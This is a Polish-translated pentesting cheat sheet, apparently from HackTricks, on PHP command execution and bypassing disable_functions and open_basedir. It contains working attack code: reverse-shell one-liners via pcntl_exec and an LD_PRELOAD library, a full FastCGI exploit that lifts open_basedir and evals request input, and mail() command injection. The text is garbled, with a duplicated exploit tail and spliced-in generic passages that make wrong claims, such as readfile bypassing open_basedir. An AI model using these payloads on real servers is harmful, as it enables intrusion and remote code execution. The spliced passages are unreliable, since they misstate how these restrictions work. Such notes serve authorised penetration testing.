hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass
2024-02-11 01:46:25 +00:00
..
disable_functions-bypass-dl-function.md Translated to Polish 2024-02-11 01:46:25 +00:00
disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md Translated to Polish 2024-02-11 01:46:25 +00:00
disable_functions-bypass-mod_cgi.md Translated to Polish 2024-02-11 01:46:25 +00:00
disable_functions-bypass-php-4-greater-than-4.2.0-php-5-pcntl_exec.md Translated to Polish 2024-02-11 01:46:25 +00:00
disable_functions-bypass-php-5.2-fopen-exploit.md Translated to Polish 2024-02-11 01:46:25 +00:00
disable_functions-bypass-php-5.2.3-win32std-ext-protections-bypass.md Translated to Polish 2024-02-11 01:46:25 +00:00
disable_functions-bypass-php-5.2.4-and-5.2.5-php-curl.md Translated to Polish 2024-02-11 01:46:25 +00:00
disable_functions-bypass-php-7.0-7.4-nix-only.md Translated to Polish 2024-02-11 01:46:25 +00:00
disable_functions-bypass-php-fpm-fastcgi.md Translated to Polish 2024-02-11 01:46:25 +00:00
disable_functions-bypass-php-less-than-5.2.9-on-windows.md Translated to Polish 2024-02-11 01:46:25 +00:00
disable_functions-bypass-php-perl-extension-safe_mode-bypass-exploit.md Translated to Polish 2024-02-11 01:46:25 +00:00
disable_functions-bypass-php-safe_mode-bypass-via-proc_open-and-custom-environment-exploit.md Translated to Polish 2024-02-11 01:46:25 +00:00
disable_functions-bypass-via-mem.md Translated to Polish 2024-02-11 01:46:25 +00:00
disable_functions-php-5.2.4-ioncube-extension-exploit.md Translated to Polish 2024-02-11 01:46:25 +00:00
disable_functions-php-5.x-shellshock-exploit.md Translated to Polish 2024-02-11 01:46:25 +00:00
README.md Translated to Polish 2024-02-11 01:46:25 +00:00

PHP - Przydatne funkcje & bypass disable_functions/open_basedir

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Wykonanie polecenia i kodu w PHP

Wykonanie polecenia w PHP

Uwaga: p0wny-shell php webshell może automatycznie sprawdzić i ominąć następujące funkcje, jeśli któreś z nich jest wyłączone.

exec - Zwraca ostatnią linię wyniku polecenia

echo exec("uname  -a");

passthru - Przekazuje wynik poleceń bezpośrednio do przeglądarki

echo passthru("uname -a");

system - Przekazuje wynik poleceń bezpośrednio do przeglądarki i zwraca ostatnią linię

echo system("uname -a");

shell_exec - Zwraca wynik wykonania komendy

echo shell_exec("uname -a");

`` (backticks) - To samo co shell_exec()

echo `uname -a`

popen - Otwiera potok do odczytu lub zapisu do procesu komendy

echo fread(popen("/bin/ls /", "r"), 4096);

proc_open - Podobne do popen(), ale z większą kontrolą

proc_close(proc_open("uname -a",array(),$something));

preg_replace

Funkcja preg_replace w PHP jest używana do wyszukiwania i zamiany wzorców w ciągach znaków. Przyjmuje trzy argumenty: wzorzec, zastąpienie i ciąg, w którym ma być wykonana zamiana. Funkcja ta używa wyrażeń regularnych do dopasowania wzorca i dokonuje zamiany na podstawie zastąpienia.

Przykład użycia:

$string = "Hello, World!";
$pattern = "/World/";
$replacement = "Universe";

$result = preg_replace($pattern, $replacement, $string);
echo $result; // Output: Hello, Universe!

W powyższym przykładzie funkcja preg_replace wyszukuje wzorzec "/World/" w ciągu znaków "$string" i zamienia go na "Universe". Wynik zostaje wyświetlony na ekranie.

Funkcja preg_replace jest przydatna w wielu scenariuszach, takich jak usuwanie niechcianych znaków, formatowanie danych, walidacja danych wejściowych itp.

<?php preg_replace('/.*/e', 'system("whoami");', ''); ?>

pcntl_exec - Wykonuje program (domyślnie w nowoczesnym i nie tak nowoczesnym PHP musisz załadować moduł pcntl.so, aby użyć tej funkcji)

pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]);

mail / mb_send_mail - Ta funkcja służy do wysyłania wiadomości e-mail, ale może być również wykorzystana do wstrzykiwania dowolnych poleceń w parametrze $options. Dzieje się tak, ponieważ funkcja mail w PHP zazwyczaj wywołuje binarny plik sendmail w systemie i umożliwia dodawanie dodatkowych opcji. Jednak nie będziesz w stanie zobaczyć wyniku wykonanego polecenia, dlatego zaleca się utworzenie skryptu powłoki, który zapisuje wynik do pliku, wykonanie go za pomocą funkcji mail i wyświetlenie wyniku:

file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777);  mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt');

dl - Ta funkcja może być używana do dynamicznego ładowania rozszerzenia PHP. Ta funkcja nie zawsze będzie dostępna, więc powinieneś sprawdzić, czy jest dostępna, zanim spróbujesz jej wykorzystać. Przeczytaj tę stronę, aby dowiedzieć się, jak wykorzystać tę funkcję.

Wykonanie kodu PHP

Oprócz eval istnieją inne sposoby wykonania kodu PHP: include/require mogą być używane do zdalnego wykonania kodu w postaci podatności na lokalne dołączanie plików (Local File Include) i zdalne dołączanie plików (Remote File Include).

${<php code>}              // If your input gets reflected in any PHP string, it will be executed.
eval()
assert()                   //  identical to eval()
preg_replace('/.*/e',...)  // e does an eval() on the match
create_function()          // Create a function and use eval()
include()
include_once()
require()
require_once()
$_GET['func_name']($_GET['argument']);

$func = new ReflectionFunction($_GET['func_name']);
$func->invoke();
// or
$func->invokeArgs(array());

// or serialize/unserialize function

disable_functions & open_basedir

Funkcje wyłączone to ustawienie, które można skonfigurować w plikach .ini w PHP, które zabrania korzystania z wskazanych funkcji. Open basedir to ustawienie, które wskazuje PHP folder, do którego ma dostęp.
Ustawienie PHP powinno być skonfigurowane w ścieżce /etc/php7/conf.d lub podobnej.

Obie konfiguracje można zobaczyć w wyniku polecenia phpinfo():

open_basedir Bypass

open_basedir skonfiguruje foldery, do których PHP ma dostęp, nie będziesz mógł zapisywać/odczytywać/wykonująć żadnych plików poza tymi folderami, ale również nie będziesz mógł nawet wyświetlić innych katalogów.
Jednak jeśli w jakiś sposób jesteś w stanie wykonać dowolny kod PHP, możesz spróbować poniższego fragmentu kodu, aby spróbować obejść ograniczenie.

Wyświetlanie katalogów za pomocą omijania glob://

W tym pierwszym przykładzie używany jest protokół glob:// z pewnym omijaniem ścieżki:

<?php
$file_list = array();
$it = new DirectoryIterator("glob:///v??/run/*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
$it = new DirectoryIterator("glob:///v??/run/.*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
echo "{$f}<br/>";
}

Uwaga1: W ścieżce można również użyć /e??/* aby wyświetlić /etc/* i inne foldery.
Uwaga2: Wygląda na to, że część kodu jest zduplikowana, ale jest to konieczne!
Uwaga3: Ten przykład jest przydatny tylko do wyświetlania folderów, a nie do odczytywania plików

Pełne obejście open_basedir przy wykorzystaniu FastCGI

Jeśli chcesz dowiedzieć się więcej o PHP-FPM i FastCGI, możesz przeczytać pierwszą sekcję tej strony.
Jeśli php-fpm jest skonfigurowany, można go wykorzystać do całkowitego obejścia open_basedir:

Zauważ, że pierwszą rzeczą, którą musisz zrobić, jest znalezienie gniazda unixowego php-fpm. Zazwyczaj znajduje się ono w /var/run, więc możesz użyć wcześniejszego kodu, aby wyświetlić katalog i je znaleźć.
Kod pochodzi stąd.

<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author      Pierrick Charron <pierrick@webstart.fr>
* @version     1.0
*/
class FCGIClient
{
const VERSION_1            = 1;
const BEGIN_REQUEST        = 1;
const ABORT_REQUEST        = 2;
const END_REQUEST          = 3;
const PARAMS               = 4;
const STDIN                = 5;
const STDOUT               = 6;
const STDERR               = 7;
const DATA                 = 8;
const GET_VALUES           = 9;
const GET_VALUES_RESULT    = 10;
const UNKNOWN_TYPE         = 11;
const MAXTYPE              = self::UNKNOWN_TYPE;
const RESPONDER            = 1;
const AUTHORIZER           = 2;
const FILTER               = 3;
const REQUEST_COMPLETE     = 0;
const CANT_MPX_CONN        = 1;
const OVERLOADED           = 2;
const UNKNOWN_ROLE         = 3;
const MAX_CONNS            = 'MAX_CONNS';
const MAX_REQS             = 'MAX_REQS';
const MPXS_CONNS           = 'MPXS_CONNS';
const HEADER_LEN           = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1)         /* version */
. chr($type)                    /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF)        /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
. chr($clen & 0xFF)             /* contentLengthB0 */
. chr(0)                        /* paddingLength */
. chr(0)                        /* reserved */
. $content;                     /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version']       = ord($data{0});
$ret['type']          = ord($data{1});
$ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved']      = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len  = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
```php
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
$this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
fwrite($this->_sock, $request);
do {
$resp = $this->readPacket();
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
$response .= $resp['content'];
}
} while ($resp && $resp['type'] != self::END_REQUEST);
var_dump($resp);
if (!is_array($resp)) {
throw new Exception('Bad request');
}
switch (ord($resp['content']{4})) {
case self::CANT_MPX_CONN:
throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new Exception('New request rejected; too busy [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new Exception('Role value not known [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $response;
}
}
}
?>
<?php
// real exploit start here
if (!isset($_REQUEST['cmd'])) {
die("Check your input\n");
}
if (!isset($_REQUEST['filepath'])) {
$filepath = __FILE__;
}else{
$filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php eval(\$_REQUEST['command']);?>"; // php payload -- Doesnt do anything
$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
//$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD'    => 'POST',
'SCRIPT_FILENAME'   => $filepath,
'SCRIPT_NAME'       => $req,
'QUERY_STRING'      => 'command='.$_REQUEST['cmd'],
'REQUEST_URI'       => $uri,
'DOCUMENT_URI'      => $req,
#'DOCUMENT_ROOT'     => '/',
'PHP_VALUE'         => $php_value,
'SERVER_SOFTWARE'   => '80sec/wofeiwo',
'REMOTE_ADDR'       => '127.0.0.1',
'REMOTE_PORT'       => '9985',
'SERVER_ADDR'       => '127.0.0.1',
'SERVER_PORT'       => '80',
'SERVER_NAME'       => 'localhost',
'SERVER_PROTOCOL'   => 'HTTP/1.1',
'CONTENT_LENGTH'    => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
$this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
fwrite($this->_sock, $request);
do {
$resp = $this->readPacket();
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
$response .= $resp['content'];
}
} while ($resp && $resp['type'] != self::END_REQUEST);
var_dump($resp);
if (!is_array($resp)) {
throw new Exception('Złe żądanie');
}
switch (ord($resp['content']{4})) {
case self::CANT_MPX_CONN:
throw new Exception('Ta aplikacja nie obsługuje multiplexingu [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new Exception('Nowe żądanie odrzucone; zbyt zajęty [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new Exception('Nieznana wartość roli [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $response;
}
}
}
?>
<?php
// prawdziwy exploit zaczyna się tutaj
if (!isset($_REQUEST['cmd'])) {
die("Sprawdź swoje dane wejściowe\n");
}
if (!isset($_REQUEST['filepath'])) {
$filepath = __FILE__;
}else{
$filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php eval(\$_REQUEST['command']);?>"; // php payload -- Nic nie robi
$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
//$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD'    => 'POST',
'SCRIPT_FILENAME'   => $filepath,
'SCRIPT_NAME'       => $req,
'QUERY_STRING'      => 'command='.$_REQUEST['cmd'],
'REQUEST_URI'       => $uri,
'DOCUMENT_URI'      => $req,
#'DOCUMENT_ROOT'     => '/',
'PHP_VALUE'         => $php_value,
'SERVER_SOFTWARE'   => '80sec/wofeiwo',
'REMOTE_ADDR'       => '127.0.0.1',
'REMOTE_PORT'       => '9985',
'SERVER_ADDR'       => '127.0.0.1',
'SERVER_PORT'       => '80',
'SERVER_NAME'       => 'localhost',
'SERVER_PROTOCOL'   => 'HTTP/1.1',
'CONTENT_LENGTH'    => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>

Ten skrypt będzie komunikować się z gniazdem unixowym php-fpm (zazwyczaj znajdującym się w /var/run, jeśli jest używany fpm) w celu wykonania dowolnego kodu. Ustawienia open_basedir zostaną nadpisane przez atrybut PHP_VALUE, który jest wysyłany.
Zauważ, jak używane jest eval, aby wykonać kod PHP, który wysyłasz w parametrze cmd.
Zauważ również zakomentowaną linię 324, możesz ją odkomentować, a payload automatycznie połączy się z podanym adresem URL i wykona zawarty tam kod PHP.
Wystarczy wejść na stronę http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd'); aby uzyskać zawartość pliku /etc/passwd.

{% hint style="warning" %} Możesz pomyśleć, że tak samo jak nadpisaliśmy konfigurację open_basedir, możemy nadpisać disable_functions. Spróbuj, ale to nie zadziała, wygląda na to, że disable_functions można skonfigurować tylko w pliku konfiguracyjnym .ini php, a zmiany dokonane za pomocą PHP_VALUE nie będą miały wpływu na tę konkretne ustawienie. {% endhint %}

Bypass disable_functions

Jeśli masz kod PHP wykonujący się wewnątrz maszyny, prawdopodobnie chcesz przejść do następnego poziomu i wykonywać dowolne polecenia systemowe. W tej sytuacji zwykle odkrywasz, że większość lub wszystkie funkcje PHP, które pozwalają na wykonywanie poleceń systemowych, zostały wyłączone w disable_functions.
Zobaczmy więc, jak możesz ominąć to ograniczenie (jeśli możesz).

Automatyczne odkrywanie omijania

Możesz użyć narzędzia https://github.com/teambi0s/dfunc-bypasser, które wskaże, która funkcja (jeśli istnieje) może zostać użyta do ominięcia disable_functions.

Ominięcie za pomocą innych funkcji systemowych

Po prostu wróć na początek tej strony i sprawdź, czy któraś z funkcji wykonujących polecenia nie jest wyłączona i dostępna w środowisku. Jeśli znajdziesz przynajmniej jedną z nich, będziesz mógł jej użyć do wykonania dowolnych poleceń systemowych.

Ominięcie za pomocą LD_PRELOAD

Wiadomo, że niektóre funkcje w PHP, takie jak mail(), wykonują binaria wewnątrz systemu. Możesz więc je wykorzystać, używając zmiennej środowiskowej LD_PRELOAD, aby spowodować załadowanie dowolnej biblioteki, która może wykonywać cokolwiek.

Funkcje, które można użyć do ominięcia disable_functions za pomocą LD_PRELOAD

  • mail
  • mb_send_mail: Skuteczne, gdy zainstalowany jest moduł php-mbstring.
  • imap_mail: Działa, jeśli jest obecny moduł php-imap.
  • libvirt_connect: Wymaga modułu php-libvirt-php.
  • gnupg_init: Możliwe do wykorzystania z zainstalowanym modułem php-gnupg.
  • new imagick(): Ta klasa może być wykorzystana do ominięcia ograniczeń. Szczegółowe techniki eksploatacji można znaleźć w obszernym opisie tutaj.

Możesz znaleźć tutaj skrypt fuzzingowy, który został użyty do znalezienia tych funkcji.

Oto biblioteka, którą możesz skompilować, aby wykorzystać zmienną środowiskową LD_PRELOAD:

#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>

uid_t getuid(void){
unsetenv("LD_PRELOAD");
system("bash -c \"sh -i >& /dev/tcp/127.0.0.1/1234 0>&1\"");
return 1;
}

Ominięcie za pomocą Chankro

Aby wykorzystać tę nieprawidłową konfigurację, możesz użyć Chankro. Jest to narzędzie, które generuje exploit PHP, który musisz przesłać na podatny serwer i go uruchomić (uzyskać do niego dostęp za pośrednictwem sieci).
Chankro zapisze na dysku ofiary bibliotekę i odwróconą powłokę, którą chcesz uruchomić, i użyje sztuczki**LD_PRELOAD + funkcji PHP mail()** do uruchomienia odwróconej powłoki.

Należy zauważyć, że w celu użycia Chankro, mail i putenv nie mogą znajdować się na liście disable_functions.
W poniższym przykładzie możesz zobaczyć, jak utworzyć exploit Chankro dla architektury 64-bitowej, który będzie wykonywał polecenie whoami i zapisze wynik w /tmp/chankro_shell.out, Chankro zapisze bibliotekę i payload w /tmp, a ostateczny exploit będzie nosił nazwę bicho.php (to jest plik, który musisz przesłać na serwer ofiary):

{% tabs %} {% tab title="shell.sh" %}

#!/bin/sh
whoami > /tmp/chankro_shell.out

Funkcje PHP przydatne do wyłączania funkcji disable_functions i bypassowania open_basedir

W niektórych przypadkach, podczas testowania penetracyjnego aplikacji internetowych napisanych w PHP, możemy napotkać na ograniczenia, takie jak wyłączone funkcje PHP lub ustawiony parametr open_basedir. W takich sytuacjach istnieją pewne funkcje PHP, które mogą pomóc nam obejść te ograniczenia.

Wyłączanie funkcji PHP

W przypadku, gdy administrator wyłączył pewne funkcje PHP, możemy spróbować użyć innych funkcji, które wykonują podobne zadania. Oto kilka przykładów:

  • exec() - Możemy użyć funkcji shell_exec() lub system() zamiast exec(), aby wykonać polecenie systemowe.
  • passthru() - Możemy użyć funkcji system() lub shell_exec() zamiast passthru(), aby wykonać polecenie systemowe i przekazać wynik bezpośrednio na wyjście.
  • popen() - Możemy użyć funkcji proc_open() zamiast popen(), aby uruchomić proces i uzyskać dostęp do jego strumienia wejściowego/wyjściowego.
  • system() - Możemy użyć funkcji exec() lub shell_exec() zamiast system(), aby wykonać polecenie systemowe.

Bypassowanie parametru open_basedir

Parametr open_basedir jest używany do ograniczenia dostępu do plików i katalogów w PHP. Jeśli jest ustawiony, PHP nie będzie mógł otworzyć plików spoza określonej ścieżki. Istnieją jednak pewne funkcje PHP, które mogą pomóc nam obejść ten parametr:

  • readfile() - Możemy użyć funkcji readfile() do odczytu zawartości pliku spoza określonej ścieżki.
  • file_get_contents() - Możemy użyć funkcji file_get_contents() do odczytu zawartości pliku spoza określonej ścieżki.
  • file_put_contents() - Możemy użyć funkcji file_put_contents() do zapisu zawartości pliku spoza określonej ścieżki.
  • fopen() - Możemy użyć funkcji fopen() z parametrem "r+" lub "w" do otwarcia pliku spoza określonej ścieżki w trybie odczytu lub zapisu.

Pamiętaj, że wykorzystywanie tych funkcji do obejścia ograniczeń może być nielegalne i naruszać zasady etyczne. Zawsze przestrzegaj praw i przepisów obowiązujących w Twoim kraju.

python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php

{% endtab %} {% endtabs %}

Jeśli zauważysz, że funkcja mail jest zablokowana przez wyłączone funkcje, nadal możesz użyć funkcji mb_send_mail.
Więcej informacji na temat tej techniki i Chankro znajdziesz tutaj: https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/

"Bypass" za pomocą możliwości PHP

Należy zauważyć, że za pomocą PHP można odczytywać i zapisywać pliki, tworzyć katalogi i zmieniać uprawnienia.
Można nawet wykonywać zrzuty baz danych.
Może za pomocą PHP i wyliczenia pudełka znajdziesz sposób na eskalację uprawnień/wykonanie poleceń (na przykład odczytanie pewnego prywatnego klucza ssh).

Stworzyłem webshell, który ułatwia wykonywanie tych czynności (należy pamiętać, że większość webshelli oferuje również te opcje): https://github.com/carlospolop/phpwebshelllimited

Bypassy zależne od modułów/wersji

Istnieje kilka sposobów na obejście wyłączonych funkcji, jeśli używany jest jakiś konkretny moduł lub wykorzystuje się określoną wersję PHP:

Automatyczne narzędzie

Następujący skrypt próbuje kilku z omówionych tutaj metod:
https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/shell.php

Inne interesujące funkcje PHP

Lista funkcji akceptujących wywołania zwrotne

Te funkcje akceptują parametr w postaci ciągu znaków, który może być użyty do wywołania funkcji wybranej przez atakującego. W zależności od funkcji atakujący może mieć lub nie mieć możliwość przekazania parametru. W takim przypadku można użyć funkcji ujawniania informacji, takiej jak phpinfo().

Wywołania zwrotne / Callables

Poniższe listy pochodzą stąd

// Function => Position of callback arguments
'ob_start' => 0,
'array_diff_uassoc' => -1,
'array_diff_ukey' => -1,
'array_filter' => 1,
'array_intersect_uassoc' => -1,
'array_intersect_ukey' => -1,
'array_map' => 0,
'array_reduce' => 1,
'array_udiff_assoc' => -1,
'array_udiff_uassoc' => array(-1, -2),
'array_udiff' => -1,
'array_uintersect_assoc' => -1,
'array_uintersect_uassoc' => array(-1, -2),
'array_uintersect' => -1,
'array_walk_recursive' => 1,
'array_walk' => 1,
'assert_options' => 1,
'uasort' => 1,
'uksort' => 1,
'usort' => 1,
'preg_replace_callback' => 1,
'spl_autoload_register' => 0,
'iterator_apply' => 1,
'call_user_func' => 0,
'call_user_func_array' => 0,
'register_shutdown_function' => 0,
'register_tick_function' => 0,
'set_error_handler' => 0,
'set_exception_handler' => 0,
'session_set_save_handler' => array(0, 1, 2, 3, 4, 5),
'sqlite_create_aggregate' => array(2, 3),
'sqlite_create_function' => 2,

Ujawnienie informacji

Większość tych wywołań funkcji nie jest źródłem zagrożenia. Jednak może to być podatność, jeśli jakiekolwiek zwracane dane są widoczne dla atakującego. Jeśli atakujący może zobaczyć phpinfo(), jest to zdecydowanie podatność.

phpinfo
posix_mkfifo
posix_getlogin
posix_ttyname
getenv
get_current_user
proc_get_status
get_cfg_var
disk_free_space
disk_total_space
diskfreespace
getcwd
getlastmo
getmygid
getmyinode
getmypid
getmyuid

Inne

The disable_functions directive in PHP allows you to disable certain functions for security reasons. However, it is possible to bypass this restriction using various techniques.

Bypassing disable_functions

  1. Using system function: If the system function is not disabled, you can use it to execute arbitrary commands. For example, you can execute phpinfo() by running system('php -r "phpinfo();"').

  2. Using shell_exec function: Similar to the system function, if shell_exec is not disabled, you can use it to execute commands. For example, you can execute phpinfo() by running shell_exec('php -r "phpinfo();"').

  3. Using exec function: If the exec function is not disabled, you can use it to execute commands. For example, you can execute phpinfo() by running exec('php -r "phpinfo();"').

  4. Using popen function: If the popen function is not disabled, you can use it to execute commands. For example, you can execute phpinfo() by running popen('php -r "phpinfo();"', 'r').

  5. Using proc_open function: If the proc_open function is not disabled, you can use it to execute commands. For example, you can execute phpinfo() by running the following code:

$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open('php -r "phpinfo();"', $descriptorspec, $pipes);

if (is_resource($process)) {
    fclose($pipes[0]);
    echo stream_get_contents($pipes[1]);
    fclose($pipes[1]);
    fclose($pipes[2]);
    proc_close($process);
}
  1. Using passthru function: If the passthru function is not disabled, you can use it to execute commands. For example, you can execute phpinfo() by running passthru('php -r "phpinfo();"').

  2. Using eval function: If the eval function is not disabled, you can use it to execute arbitrary PHP code. For example, you can execute phpinfo() by running eval('phpinfo();').

  3. Using assert function: If the assert function is not disabled, you can use it to execute arbitrary PHP code. For example, you can execute phpinfo() by running assert('phpinfo();').

  4. Using create_function function: If the create_function function is not disabled, you can use it to create a function that executes arbitrary PHP code. For example, you can execute phpinfo() by running the following code:

$func = create_function('', 'phpinfo();');
$func();
